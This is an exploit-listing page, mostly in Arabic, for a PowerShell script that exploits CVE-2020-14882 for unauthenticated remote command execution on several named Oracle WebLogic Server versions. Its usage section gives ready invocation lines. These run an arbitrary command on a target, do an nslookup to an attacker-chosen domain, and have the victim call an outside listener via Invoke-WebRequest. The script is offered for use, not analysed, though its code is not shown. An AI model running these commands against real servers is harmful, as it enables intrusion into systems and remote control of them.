Sploitus

Exploit for CVE-2020-14882

kitploit · 2026-08-25

Exploit Code

MARKDOWN26 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ROOT-SHELLS-CVE-2020-14882
# ثغرة تنفيذ الأوامر عن بعد غير مصادق عليها في Oracle WebLogic

يستغل هذا النص البرمجي PowerShell الثغرة CVE-2020-14882 لتحقيق تنفيذ الأوامر عن بعد دون مصادقة على إصدارات Oracle WebLogic Server:

  * 10.3.6.0.0
  * 12.1.3.0.0
  * 12.2.1.3.0
  * 12.2.1.4.0
  * 14.1.1.0.0



## الاستخدام

root@kitploit:~
    
    
    .\exploit.ps1 -target 'http(s)://target:7001' -command 'your_command'
    .\exploit.ps1 -target 'http(s)://target:7001' -command 'nslookup your_Domain'
    .\exploit.ps1 -target 'http(s)://target:7001' -command 'powershell.exe -c Invoke-WebRequest -Uri http://your_listener'
    

## المراجع

الاستغلال على ExploitDB